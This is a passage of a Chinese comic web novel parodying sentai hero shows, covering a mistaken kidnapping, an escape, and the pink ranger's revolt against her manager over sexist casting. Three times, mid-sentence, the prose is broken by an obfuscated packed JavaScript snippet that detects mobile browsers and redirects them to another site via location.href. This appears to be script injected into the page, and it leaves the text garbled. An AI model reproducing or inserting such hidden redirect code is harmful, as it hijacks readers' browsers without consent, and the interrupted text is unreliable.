“有些事我要和你交代一下,你别走得太快,”音速粉说,“刚才你打球的时候——对了,打得不错,赢得好!——我去探查了这一带的情况,找到好几个剧情点,应该都是为了个人回设置的。” 什么,都打完一场比赛了,个人回还没结束? 不过也是,连机器人都还没出动,怎么能算一集战队故事。 “我大致逛了一圈,发现这附近有迷路的小孩,分手的情侣,受伤的海龟,搁浅的美人鱼,发出怪响的破船,正在交易的黑衣组织,被揭开封印的古井……”音速粉说,“都是可以拓展的剧情点,你随便挑一个喜欢的,我们去做了吧。” 是错觉吗?总觉得这之中有几个一旦触发,就不是一集两集能讲完的故事。 音速粉叹了口气:“你是不是觉得麻烦?没办法,如果我们不主动触发剧情,世界线可能就会塞一些奇怪的东西过来——你也不想突然平地摔,然后被某个男的埋胸吧?所以在下一个剧情展开前,我们要掌握主动权!” 她似乎还没发现,她看到的我的“胸”其实是树干的一部分,木质结构,有树皮和韧皮和输送水分养料的边材,敲下去会“咚咚”响。如果要发生摔倒埋胸的剧情,只怕对方会磕破头。 不过,现在我用的是她的身份,我就是她,她就是我,她不愿意就是我不愿意。而且针对主动权这一点,我觉得她说得很有道理。 “我们选一个轻松点的吧,尽快把这一集过完,”音速粉说,“送海龟回家怎么样?应该不怎么费事,往海里一扔就行了;或者去偷看一下黑衣组织交易,你去看,我望风,看完就报警,磨蹭容易出事——” 她开始逐个分析那些剧情可能的走向。我实在渴得不行,偏偏她叫我慢慢走,也许是怕被其他人听到她的声音。我等不及去冷饮店了,一抬眼看到和冷饮店相反的方向有个自动贩卖机,整排整排的瓶装饮料在灯光下像宝藏一样闪闪发亮。 我马上跑到贩卖机前,从音速粉给我的小包里摸出一把硬币,一个一个往里塞。音速粉的声音停了停,然后轻声笑笑,开始为我介绍饮料:哪个是甜的,哪个是酸的,哪个是苦的,哪个是带气的。这些对我来说都一样,我现在只想要水,大瓶水,能有多大就有多大—— “有人来了,你注意。”音速粉突然说道。 我一愣,停下塞硬币的手,直起身朝四周一望。这一带本就相对偏僻,我原地转了一圈,除了椰子树和垃圾桶,没发现什么人。我刚要回头继续投币,突然听到一阵细微的脚步声,有人光脚踩着沙子朝我走来了。 越来越近。 越来越近。 越来越近。 我索性站直了,面朝脚步声传来的方向。 脚步声停了一停,然后从某棵椰子树背后,有人走了出来。 是红色沙滩裤。 “这么快就被你发现了。”他说。 他怎么来了?他没跟他们一起去喝冷饮吗?我盯着他看,他也盯着我,目光像他板寸的发茬一样刺人。 然后,他大步走到我面前。 “你不是仁美,”他说,“你到底是谁?” 16.定番的绑架 “你不是仁美,你是谁,”红色沙滩裤看着我说,“仁美去哪儿了?” 仁美……哪儿也没去,就在离他大约10米外的椰子树背后。我已经看到她紧张地抠树皮了。 不过,这就被他发现了吗?不愧是主角,我以为我的伪装天衣无缝。 “平时我说话的时候,仁美都会眨着眼睛看我,我说什么她都会笑,说两个以上的长句还会给我鼓掌……多么温柔善良的女孩,她一定是喜欢我很久了,”红色沙滩裤说着,嘴角堆起笑意,突然又眼神一凛,“可今天你居然连正眼都没瞧我一下,你一定是假的!” ……啊,音速粉好像是交代过这回事,但我打起球来就忘了。 红色沙滩裤又上前一步,一把抓住我的手,硬币都“丁零当啷”掉了一地。“我知道了,你一定是邪恶组织的复制人!是你们把仁美抓走了!”红色沙滩裤说,“我这就召集同伴,打败你们,救出仁美!” 我一惊,正要挣扎,突然反应过来:这个走向,好像也是战队故事的王道剧情?对,他们天天和邪恶组织战斗,一定知道对方老巢在哪儿,接下去只要音速粉提前过去藏起来,我在他们赶往目的地的途中趁机溜走,然后他们和毫不知情的反派展开一番战斗,音速粉伺机出现和他们汇合,最后队员合体启动巨大机器人把基地夷为平地——这一集就能顺利结束了! 太好了,就这么干。我立刻摆出一副凶恶的表情,准备承认绑/架罪—— “咚!” 突然响起的闷声。红色沙滩裤顿时翻了个白眼,一头栽倒。 站在他身后的音速紫把手里的椰子一扔,皱眉摇头:“男人就是会误事。” 说着,她又抬眼朝我一瞥:“愣着干嘛,把他拖到旁边去藏起来,等着被别人发现吗?” 虽然不知道现在又是什么走向,但是她说得对。于是我和音速紫一起,一个抓胳膊一个抓腿,把红色沙滩裤搬到一处垃圾桶后面放好,又找了几片椰子树叶,把他从头到脚盖上。 中途我悄悄试了试他的鼻息——还活着。 干完这些,音速紫拍了拍手,又转头看我:“你是不是在想,怎么我也发现你不是本人了?” 确实,我以为我的伪装天衣无缝,现在看来可能是忘了缝。 “我在地铁站就注意到了,”音速紫说,“你走路的步态和仁美完全不一样。她的脚步像猫一样,又轻又快,在旁边都听不到声音。你呢,一步下去,能震死蚂蚁。” 对蚂蚁感到抱歉,我下次注意点。 “虽然不知道你是谁,不过应该是那个在树后面鬼鬼祟祟的人叫你来的吧。”音速紫朝那一侧努努嘴。我顺着一看,音速粉正在椰子树后探头探脑。虽然已经换了衣服和打扮,但她的身高在这个世界多少有点显眼,不管怎么藏,还是能被看到。可能也是意识到了这一点,她犹犹豫豫地从树后走了出来。 “原来你早就发现我了……不过,为什么要把他打晕?向他解释一下不就行了?”音速粉指了指地上的红色沙滩裤。 “不把他打晕,你还真想让他把你的替身演员当反派揍?”音速紫说,“而且这不是挺有意思吗?他醒过来就会以为是被邪恶组织攻击,然后气冲冲召唤他的好兄弟们一起变身,气冲冲打到邪恶组织的基地去——我们跟着看戏就行了,多好玩。” 两人都笑起来。笑完了,音速粉又犹犹豫豫地开口:“你不会把这件事告诉别人吧?管理员要是知道,我找别人来扮演我……” 音速紫斜眼朝她一望:“说实话,我不太理解你为什么要这么干。你是怕自己在个人回的表现不好,才找别人来?可是她刚才整个人都奇奇怪怪的,也不说话,完全不像你啊。” ……那真是太抱歉了。 “最重要的是,你们俩体型完全不一样。她又矮又瘦,胳膊也那么细,差点连球都接不住——”说着,音速紫一愣,突然反应过来,“你不会是觉得自己太高太壮了,怕在个人回的时候,大家都盯着你看,自己虎背熊腰的,不像个女主角,才找了她来吧?” 音速粉默默低头,像蓝色背心一样低头,听到“虎背熊腰”的时候,又使劲把胳膊挤了挤。 音速紫的语气稍微软了一些:“我知道他们平时会开你身材的玩笑,但他们只是嘴巴坏,其实,其实……其实……”思考了半天,音速紫挠挠头,“算了,想不到有什么能帮他们说话的。” 两人又笑了。音速紫扁扁嘴:“居然会有人嫌弃自己长得高?你都不知道我有多羡慕你。要不是我当年看少女漫画看坏脑子,长身体的时候不好好吃饭,成天节食,现在哪会是这么个小矬子。” “怎么会,你也很可爱啊,”音速粉说,“我才是羡慕你,你想说什么就说什么,别人说了傻话,你可以直接反驳,甩脸色都没关系。看看我,非得让我装什么大小姐,别人说什么我都得眯眼微笑温柔注视——拜托,他们有时候真的很傻!” 她们开始一言一语地互相夸赞,你来我往,谈笑晏晏,尤其在提到某些男队友的时候,笑容格外真诚。只有我在原地陷入思索:不是说这女孩子拿了雌竞剧本,对音速粉有敌意吗?现在看来,她似乎只是对我有敌意——搞不好和红色沙滩裤一样,她以为我是邪恶组织的复制人才处处试探,意识到可能是音速粉本人请来的替身之后,也就不和我作对了。 (所以,雌竞剧本也好,大小姐剧本也好,都是谁编写,谁安排,谁指定的?为什么非要让不相干的人来演出呢?) 这里似乎没有我的事了,我就转身走向一旁的自动贩卖机。打完球我已经渴得不行,又耽误了半天没喝上水,现在就算是海水我也能大口大口灌下去,然后从表皮析出盐粒来。一路走到贩卖机前,我摸摸口袋,刚才红色沙滩裤把我的硬币都打翻了,现在兜里一个不剩。我趴下来,准备找找贩卖机底下会不会有意外惊喜,一瞥眼看到不远处的椰子林里,有两个穿着黑色西装黑色风衣的男人正鬼鬼祟祟地四下张望。 怎么回事,那里在干什么?在海边穿黑西装黑风衣——啊,不会是音速粉刚才说的黑衣组织交易现场吧? 这个念头刚刚从我脑中闪过,一瞬间,脚下的地面像泡沫一样松软地化开。我还没反应过来,一下子失去重心,沉入沙土,意识也随之被切断了。 我就知道,黑衣人的交易,不能随便乱看。 再次恢复意识的时候,我发现自己躺在一块冰冷的地面上。手脚无法动弹,似乎被什么东西捆住了。我试着从地上爬起,因为脱水,脑子有些晕乎乎的,我花了一点时间才慢慢睁开眼睛。 ——这是一个封闭的昏暗的房间,在这样的光照条件下,人类的眼睛应该无法视物,但我还能勉强看清周围的环境:大约2平米的空间里,墙壁也好,天花板也好,地面也好,四周散落的杂物铁箱也好,全部印满了一个莫名其妙的骷髅图案。 我隐约意识到了什么,保险起见,又竖起耳朵探听周围的动静。 虽然因为脱水乏力,不能捕捉到连续的声波,但我幸运地听到了一部分关键对话。 “确认过……是本人……” “粉色的……是本人……” “沙滩排球……看到……是本人……” ——果然,这里是邪恶组织的基地,那个骷髅是他们的标志,现在正在发生的是战队系列的绑架剧情。 但他们似乎搞错了绑架对象。 我一下子清醒了。 所以眼下发展到哪个阶段了?我应该做什么?耳机里一点声音都没有,音速粉已经知道我被绑架了吗?邪恶组织的目的是什么?要挟还是复仇?最重要的是……我生还的几率大吗? 从这里生还之后,从发现我偷溜的K的手里生还的几率大吗? 光是着急也没有办法,冷静下来才能思考对策。我再次确认房间的环境:没有光源,没有窗户,唯一的出入口是一扇紧闭的门,四周散落一些铁箱,都是空的;这里是杂物间吗?可惜,身体实在是没有多余的水分放出根须和芽梢去打探房间外的情况。我又试着挣脱双手双脚的束缚,只稍微用力,手腕顿时感到一阵刺痛。但奇怪的是,捆住我的东西似乎不是铁链,也不是绳子,或者其他牢固的扎带之类的东西。昏暗加上脱水,我的眼睛看不分明,于是我抬起手腕,把嘴巴凑过去,想用牙齿咬上一口,确认那东西究竟是什么。 我刚张开嘴,缠绕在我手腕上的东西“噗”地抽动了一下。 啊,是触手。 确切地说,是某种植物的藤蔓,粗而柔韧,遍布倒刺,前端会分泌出滑腻的粘液,多半还会对人类产生包括但不限于躯体麻痹的效果。我不是人类,连哺乳动物都不是,这一点无法亲身确认,但有许多魔法少女,战队女战士,科搜队女队员,以及其他AP0813的女性超级英雄对我抱怨过:“也不知道谁搞出来的”“恶心死了”“都不敢问,问就是传统”“怎么不去捆男的”。 第一次看见实物,确实有些恶心,不过既然这一条是植物,那就好办了。 我重新坐下来,放慢呼吸,收紧全身的毛孔,尽可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我抬手擦掉嘴角的浆液,用大小姐的仪态款款坐好。 但绿T恤的表情依然没有恢复。他望着我,艰难地牵动嘴角:“仁美……你……你……为什么……你……” 不知道他要说什么,他当下的理智可能还没他的省略号多。才说到第三个“你”,走廊上突然响起警报——敌人发现他入侵了。 糟糕,互相凝望耽误了太多时间。都是触手的错。 绿T恤一下子回过神来:“仁美,你快走,从这里出去右转一直走,就能看到出去的通道了!我拦住他们!你快走,快!” 就算看到了可怕的画面,依然坚定不移地相信仁美吗?一瞬间,我有些感动。嘈杂的脚步声从走廊深处飞快地传来,许多人正在朝这里接近。我立刻站起来,走到门口对绿T恤点点头,但愿我表达出了感谢的意思,然后往他指的方向跑去。 “有我在,你们别想抓到仁美!”才跑出大概五米,我听到他的声音从身后传来。 然后是脚步声,打斗声,干脆利落的倒地声,持续向前的脚步声。 ? 我回头一看,绿T恤已经仰天倒地,四个穿着黑色紧身衣的怪人大步朝我冲来。 只坚持了2秒吗? 没关系,2秒也很厉害了。 怪人“叽哇”狂叫着扑来,我立刻转身迎战。战队故事的反派杂兵大多只是用来拖延时间,或者实施人海战术的棋子,一击即倒——所以我要做的就是比他们先出手。 我一矮身躲过左侧挥来拳头,同时猛地肘击,命中他的肋下。他“嗷”的一声倒地,又“噗”的一声化作灰色粉尘消失。我顺势起身,一记上勾拳击中第二人的下巴,“嗷”,“噗”。我又反手甩了试图从旁偷袭的第三人一记耳光,“嗷”,“噗”。第四人被震慑了,他“叽哇”怪叫着犹豫了。我毫不迟疑,抬腿侧踢,粉红色人字拖带着沙滩的海风直击他的面门——“嗷”,“噗”,全灭。 感谢这个虽然存在魔怪和巨大机器人,但杂兵依然使用近身肉搏的世界。感谢昨晚见缝插针教了我简单拳脚的音速粉。感谢所有在我面前战斗过,让我能有机会模仿动作的超级英雄。感谢提供水分的触手。 更多脚步声和“叽哇”怪叫从走廊那头传来,没时间在这里耽误。我飞快跑到昏迷的绿T恤身旁,一把把他扛上肩头,朝出口大步跑去。 17.巨大机器人? 我扛着绿T恤在走廊上飞快地奔跑。不知道他挨了杂兵怎样的打,至今昏迷不醒,像个沙包似的压在我肩上。虽然不太方便,但倒是不沉,在我扛过的东西里,他能排进轻量级前三名;且不说好不好看,这种崇尚瘦弱的审美在某些时候倒是不给人添麻烦。 (但可以的话,还是希望他能醒过来自己跑。) 刚才绿T恤说“我来救你”,看来其他人已经知道“仁美”被绑架。那音速粉应该也知道了,只要从这里出去,一定就能联系上她。 又跑出一段后,身后的脚步声似乎变少了,“叽哇”怪叫也在淡去。连着穿过两道金属门,我似乎到了一个车库的出入通道。空间非常宽敞,两旁停着一些奇怪的装载机械,不远处的大门敞开着,一个看守都没有。我稍微放慢脚步,观察四周动静,确认不存在埋伏,也没有陷阱机关之后,朝洞开的大门快步冲去。 K的小破店还会在门上加个锁,邪恶组织的基地入口居然就这么大开,我看这个组织也很难活到第二季了,如果有第二季的话。 跑出大门,我发现又回到了那片海滩,脚下踩着的是烫脚的松软沙地,远处是猴一样欢叫着跑来跑去的半裸人群,还有会带走我的水分的阳光和海风。怎么回事,这基地就在海边? ——不对,我定睛一看,许多穿着黑色紧身衣的邪恶怪人在人群中乱窜,吓唬小孩,推倒阳伞,掀翻桌子,踢飞垃圾桶,在审核条例允许的范围内做尽坏事。虽然这些杂兵都是一击即倒,但AP0813的法律规定,没有英雄执照的平民不能攻击反派,10周岁以下儿童不能独立逃跑。难怪人群的声音听起来有一种熟练的恐慌。 也难怪我一路跑来都没再遇上杂兵,原来他们出动了。 “……听到……在哪……过来……”耳机里响起音速粉的声音,断断续续的,看来我和她之间的距离在50米左右。我立刻扛着绿T恤朝人群跑去。音速粉的声音越来越清晰了,我睁大眼睛到处寻找,很快在一棵树下发现了她。她正在掩护两个小孩摆脱杂兵的包围。我冲上去打飞一个杂兵,转身又打飞一个杂兵。身后传来怪叫,我再转身,绿T恤的脑袋被甩动,又打飞一个杂兵。这个算他的。 “你来了!”看到我出现,音速粉惊喜地扬起眉,一转眼看到我肩上的绿T恤,眉头又瞬间沉没,“原来他去救你……不是,救我,怪不得哪儿都找不到他。” 战斗力增加到2.5人,包围的怪人很快被打退,两个孩子安全撤离了。其他的游客也在剧情时长限定的范围内离场,沙滩上只剩下“叽哇”怪叫的反派。不远处还能看见音速紫和蓝黄战斗的身影;就他们三个,看来红色沙滩裤还在昏迷中。 “你把他放下吧,快去躲起来,保护好自己,”音速粉对我说,“这里马上要进入战斗了。” 她的话音刚落,地面突然传来震动,海水推起巨浪,有什么东西从水下缓缓出现。 是一只,不,一头……一个……或者,一座……? 那东西完全露出水面了,它的身躯似乎是被大块大块的黑暗拼合而成的,边缘又布满虬结的绒毛,我一时难以描述它的形状。它蠕动着朝海岸靠近,海水像瀑布般从它身上滚下,一种来自它体内的透明的胶质物被拉扯出细丝,“滴滴答答”地落进海里。 什么东西?虽然难以辨认,但我也感觉不到可怕。它又靠近一些之后,我确认了——这是一团巨大的,复杂的,雄伟的,堪称浩瀚的……打结的海藻。 是海藻,数不清的海藻纠缠在一起,组成了这团几十米高的巨硕的毛线球。可能里面还裹了些别的,这也难免。虽然想象不出一团海藻能有怎样的杀伤力,但光是看着倒也十分震撼。可能这片海域里所有的海藻都集中在这里了吧。我能听到它们的呼吸声,和“噼噼啪啪”吐泡泡的声音,感觉像被闷进一锅正在火上的爆米花,吵得不行。 音速粉愣了一下,立刻摆出变身的姿势,同时催促我:“你快走!” 是了,虽然我不觉得可怕,但它毕竟是这一集的怪物。它的出现就意味着战斗开始——就意味着打完收工。 不远处,紫色蓝色和黄色的光柱接连亮起,那三人已经变身了。他们身上的衣着在一瞬间换成了同款不同色的紧身战服,蒙面头盔,以及白色长靴,只是音速紫的腰间又围了一圈毫无意义的裙边。 (反正已经穿了紧身长裤了,为什么还要加裙边?) 三架长着翅膀的鸟型机器人从天际飞来,三人跳入驾驶舱,与体型相差数倍的海藻怪展开战斗。不过,音速紫的机器人并不是鸟型,而是蝙蝠。原来她的代表物是蝙蝠……也对,是“音速战队”而不是“飞鸟战队”,蝙蝠当然也能加入。 机器人发射的炮火暂时阻挡了海藻的前进。它开始愤怒地原地旋转,翻腾起更大的海浪。透明的胶质被甩到沙滩上,像是从某个伤风的大鼻孔中喷出的浩荡鼻涕雨。除了不太雅观,倒是没什么杀伤力。 音速粉高喊一声“变身!”,粉色光柱拔地而起,笼罩她的全身。下一秒,她穿着同样的粉色裙边战衣破光而出,白色斗篷迎风飞扬。紧身战衣的包裹下,她健实的肩膀伟岸如亮出水面的礁石。她手中紧握一副小巧的粉色弓箭,同色系的可爱箭囊挂在腰间。她朝天空挥手,一声鸟鸣后,粉色的鸽型机器人振翅而来。 战队系列的变身说变就变,没有慢镜头扫全身,没有花里胡哨的声光特效,更不会暂停时间之后一边唱歌跳舞一边换衣服,真是太好了。 鸽型机器人在沙滩上降落。音速粉刚要跳进驾驶舱,突然停了一下,视线透过头盔望向绿T恤——他依旧压在我肩上。短时间内发生了太多事,我没顾上他。现在被音速粉这么一看,我又意识到他的存在,立刻把他卸下,摊平,放好,然后朝音速粉比了个“OK”的手势,意思是我来照顾他,她放心战斗。 音速粉摇摇头:“他和红色都昏迷了,不能变身。他们不在,我们就不能合体组成巨大机器人。如果巨大机器人不能登场,这一集就永远不能结束。” 确实,如果没有合体组成巨大机器人这一特色设定,光是穿着蒙面战服打架,谁还分得清战队和隔壁世界线的假○骑士。更严重的是,巨大机器人登场次数减少,会影响周边玩具销量——这直接关系到有没有剧场版和第二季。 那怎么办?怎么叫醒他?扇耳光有用吗?我看着地上双眼紧闭的绿T恤陷入思索。除了扇耳光之外,我在电视上看到的唤醒昏迷中的人的方法,就只剩下公主或者王子的亲—— “你站到边上。”音速粉突然开口。我一抬头,看到她举起手中的粉色爱心弓,粉嫩嫩,圆滚滚,亮晶晶的爱心箭头对准了地上的绿T恤。 对,音速粉的设定是拥有治愈之力的战士。她的弓箭可以疗伤,当然也能让失去意识的人苏醒——太好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558899|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以收工了。我立刻朝旁避让两步。 音速粉拉满弓弦,紧绷的战衣下隆起深刻又流畅的肌肉线条。明明戴着头盔,我却能感觉到她锐利如电的视线。她好像又回到了那个深夜,她逆着逃难的人群奔跑,爬上摇摇欲坠的塔楼,与身躯大于自己上百倍的狂暴的山怪对视,用箭头瞄准了它。 音速粉吸了一口气,松开扣弦的手指。 “啪”,可爱的粉色爱心弓从中间干脆利落地断开。 “啪”,音速粉把两截断弓狠狠摔在地上。 “可恶!可恶!可恶!”合格的粉色战士,即使气急了,说出的依然是能通过分级审查的语气词,“我还以为这玩意只是看上去像玩具,结果根本就是个玩具!我就知道!我就知道他们从没把我当成真正的战力!什么治愈之力,都是骗人的!之前让我用的技能都是骗人的!我从头到尾就只是个拉拉队!一群连瓶盖都拧不开的废物,凭什么他们能战斗,我只能在旁边拿着玩具跳舞!” 音速粉扔了弓,掰断箭,一脚踢上鸽型机器人的翅膀,字面意思的暴跳如雷,卷舌音喷薄而出。幸亏有头盔遮着,不然她现在的表情可能会吓哭没有家长陪同观看的小孩。虽然很想把这一幕录下来,带回去学习发音技巧,但眼看她快要把那台粉色机器人踹翻,我还是决定上前拉住她。 她的头盔里突然传来音速紫的声音:“你在干什么!还不快点来帮忙!”并没有刻意偷听,只是这玩意居然漏音。我朝海面望去,才一会儿没注意,那团巨型海藻似乎变得更大了,甚至分化出了像是四肢的东西,正在用力挥舞,甩出更多的鼻涕雨。与它缠斗的机器人也变成了两台,那只黄色的胖鸟不知什么时候已经被击落了。 “快点,仁美!”蓝色苍鹰也催促道,“我们需要支援!” “我不干了!不打了!”音速粉抬起头来,朝着半空的队友大叫,“根本不差我不是吗?原来从第一集开始,我的武器就是个玩具!怪不得从来不让我上场动手!我的战斗根本没有意义!我不干了!我要做的是战士,是超级英雄,不是少女偶像,不是蒙面舞王!反正只要能凑齐五个人合体组成机器人,是谁都可以!我不干了!” ——“仁美!”一个没听过的声音在身后大声喊道。 我转过身,看到一个女人朝这边大步走来。她看上去有些年纪,身材瘦小,裹着一套灰色职业西装,面料像瓷器一样挺括,没有一丝折痕,尖头高跟鞋在沙地里扣出一路深深的小坑,硕大的金色耳圈随着步子在两颊摇晃。 一看到她,音速粉顿时安静下来,不再大叫,也不踹机器人了。她弯腰捡起弓箭,吹掉沙子,重新拿在手里。 “管理员。”音速粉低着头小声说。 管理员。 怪不得她一出来,连BGM都变轻了。我又往后撤了两步。一大波鼻涕雨打落下来,不幸淋到我头上。我擦掉自己脸上的鼻涕,又退回去擦掉绿T恤脸上的鼻涕,以免他被糊住气孔,无法呼吸。 (我怀疑他已经醒了,只是因为管理员出现,不得不装晕。) 管理员看我一眼,并没有对我的存在表示惊讶,好像我只是一盆理所当然出现在阳台上的盆栽。她又抬头朝天上的二人略略致意,说了声“稳住”,然后收回视线,盯着音速粉。 “对不起。”音速粉又小声说道。 管理员双手抱胸,垂下眼,沉沉地叹了口气。 18.管理员 管理员叹了口气。 在AP0813及一些相邻世界中,年长女性的叹息比愤怒更让人胆寒。愤怒只是愤怒,而叹息包含了愤怒、失望、懊恼、烦躁等多种复杂的情绪,所导致的结果可能是其中一种,也可能是叠加,未知的东西总是令人害怕。以上是我看电视总结的。 音速粉安静地缩成一团,仿佛泡面里的脱水蔬菜,连脚后跟都并到了一起。 管理员走到她面前。她穿着高跟鞋,依旧比音速粉矮了半个头,仰视的目光却像长矛,自下而上地洞穿音速粉的额头。 “不要质疑自己,仁美,”管理员说,“你很优秀,也有聪明的头脑,”说到这句的时候,她似乎又朝我划来一眼,“只要坚持下去,你会有更好的发展。音速粉只是你的起点,不要被一时的情绪驱使,干出傻事,到此为止。” 在我看来,她说的每一句都是夸奖,音速粉却低着头不敢说话。 管理员又轻轻吐了口气,伸手为她掸掉裙摆上的沙粒。 “你的战斗怎么会没有意义呢?很多孩子都喜欢你,特别是女孩子,看到你打败敌人,她们会感到振奋,会被你的强大鼓舞。你战斗的最大意义,就是成为她们童年回忆中美好的一部分。今后每当她们遇到困难的时候,只要想起你的勇敢和坚定,就会获得继续拼搏的力量,”管理员说,“快去战斗吧,你的队友需要你,孩子们也需要你。你是她们的英雄,去为她们赢得胜利。” 音速粉几乎要挪动步子了,但只是“几乎”。她的裙摆晃了一下,双腿却一动不动。管理员看着她,淡淡一笑:“你一直都很听话,别闹别扭,快去吧。打完了,故事就能继续发展了。” 音速粉抬起头来看着她。 “不,我的战斗是没有意义的,”音速粉说,“注定胜利的战斗,只是一场演出。过程如何,参战的是谁,不会改变故事结局。就算我拿的是玩具弓,也不会战败。这不是我想成为的英雄。” 她说话的同时,巨大海藻球突然剧烈地颤动,然后膨胀,一束暗绿色的水柱从团团缠绕的中心朝天空喷射。“轰”的一声,蓝色苍鹰机器人被击落了。 我瞪大眼睛,看到机器人落入水面的前一秒,音速蓝从驾驶舱仓皇跳出,飞快地划着水朝最近的海岸游去。 也是,AP0813的世界,轻易不会有伤亡。 管理员也看到了,微微皱起眉头:“现在只剩下凛了。她只能发射干扰电波,没有直接战斗力。你快去帮忙,就当是为了她。” 音速粉摇头。 “要我帮忙,帮忙什么?拿着玩具给她跳舞打气?我的机器人不是也只会发出治愈光波?我之前问你,为什么我不能直接攻击的时候,你不是回答我,攻击的事交给他们,女孩子不需要打打杀杀吗?”音速粉说,“我的人设是离家出走的叛逆千金,号称叛逆,却离不开家人的经济供养,说是千金,表现出的家教是男队员说什么我都要表示赞同和佩服,身为战士,却只会用粉色爱心玩具摆造型——女孩子看到这些剧情,真的会振奋吗?真的会被我鼓舞吗?她们真的把我当成超级英雄吗?为什么我收到的粉丝来信,一封封都在问我,喜欢的人是谁,最后和谁在一起了?她们长大以后,在写字楼里围着复印机打转,提着热水壶给开会的男人们倒茶的时候,想起我,连粉色战士都要把战斗的机会让给男人,所以端茶送水打杂本来就是女人的分内事,安心干了就行;连粉色战士都会被同伴取笑身材,所以那个男人说的下/流话也只是开玩笑,并没有恶意——你说的遇到困难的时候想到我,就能继续努力下去,是这个意思吗?” 管理员又吐了一口气,再次抬眼看她。我也看她,再看管理员,再看海面上的战况,要看的东西太多了,偏偏眼球的构造非常复杂,再长一对要花好几个小时,根本来不及,可恶。 “原来你想要直接参与战斗?”管理员笑了笑,“可以啊。今天是你的个人回,你是主角,你说了算。现在场上只剩下你和凛了,正好把这一集打造成女孩子们也能战斗的主题。我可以给你战斗权限,让你上场打架,再给你的机器人增加一个特殊形态,能单独变形,装备大火力武器,你想要什么?当然,战斗服也增加特殊造型,有水钻有缎带,有粉红色的蕾丝,再配一双高跟鞋,头盔做出发型,挂上流苏,唇部添加唇彩,手套用线条体现美甲细节,这总配得上配得上你千金小姐的设定了吧?你不喜欢玩具弓箭,那就把武器换成可爱的粉红泡泡枪,喷出的肥皂泡可以击杀也可以治疗,怎么样?这样大家就会知道,你不是没有战斗力,你是深藏不露,把舞台让给了队友,只在最紧要关头才会出手。这一集播完之后,让产品部门做个限时限量的限定套装,把这些东西一起打包售卖,‘音速粉·战力解封特别形态’,一定会被抢疯的——仁美,你的想法很棒,你果然是这一代最有潜力的孩子。” 说着,她高高地伸手,抚摸音速粉的脑袋:“快去战斗吧,我会联系制作组,这些东西马上就能投放到位。今天是你的个人回,你想怎么样就怎么样。” 音速粉的裙摆被风吹动。她的双脚依旧钉在沙滩上。 “我不要,”音速粉说,“你的意思是,我只有在个人回才能成为真正的战士,过了今天就又要做个唱歌跳舞的拉拉队——是这样的限定版吗?就像只在母亲节做家务的爸爸?这种没用的东西,我不要。” 管理员的手在她的头盔上停留一秒,慢慢收了回来。 “可以,”管理员点点头,笑容平静,“你的个人回你说了算,你想怎么样就怎么样,不想怎么样就不怎么样——既然不想做音速粉,那就不做吧。” 音速粉愣了一下。海藻球的旋转停了一拍,紫色蝙蝠机器人悬浮在半空,刚刚爬上岸的音速蓝回过头来,连地上昏迷的绿T恤都似乎动了动。 “你说得没错,你们的战斗都是注定结局的演出,过程和演员不重要,只要能凑齐五个人合体,随便是谁都行——卖玩具嘛,谁卖不是卖,”管理员说,“既然你不想干,我也不会强迫你。你走吧,换人,你可以回你心爱的小村子了。” 说着,她朝我看来,视线从我的头顶扫到脚尖,扫过连体泳衣的肩带,和量了又量,改了又改的大腿,最后满意地点点头:“很不错,是符合传统的粉战士的体型。老实说,我真是受够仁美的粗胳膊了,哪有粉战士壮得像个男人的。只有她的战斗服有斗篷,就是为了遮住那对粗膀子。你和她长得一模一样,又比她苗条,不愧是她亲自挑选的替身——如何,你有兴趣的话,现在就可以顶替她上场。” 什么意思,让我原地成为音速粉?我一时愣住,确定是我理解的这个意思之后,指指嘴巴,飞快摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582474|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 管理员又笑:“我知道你不会说话,这也是你的优势。粉战士嘛,长得漂亮就行了,说不说话无所谓,反正也没几句台词,队友说话你点头,队友受伤你担心,剩下的时候就跟在他们背后跑来跑去——你看,根本不需要说话,你又漂亮又安静,简直是天选的战队女主角。” 是这样吗?似乎确实不是麻烦的工作。而且加入的话,是不是就不用回去给K送外卖了?我望向音速粉。她戴着头盔,看不到表情,但从她胸口起伏的频率,和紧握成拳的双手来看,她正陷入困惑与焦躁。 “你不反对,就这么说定了。”管理员拍了拍我的肩膀。我的身高也是昨晚的修改重点,正好让她一抬手就能拍到肩。见我没有再摇头,管理员欣然掏出手机:“我立刻联系制作组,就按刚才说的方案来。特殊形态的战斗服、武器、机器人,加急设计,马上到位。” 拨出号码前,她又朝音速粉划去一眼:“这个世界没有正义和邪恶,只有玩具的销售指标,和打扮成超级英雄的玩具推销员——你要是早点认识到这件事的话,可能心里会好受些。” 她说着,手指连连敲击屏幕,屏幕上逐个显示出一行数字,她又点了一下绿色的图案,脉冲音沿着电波信号传来。 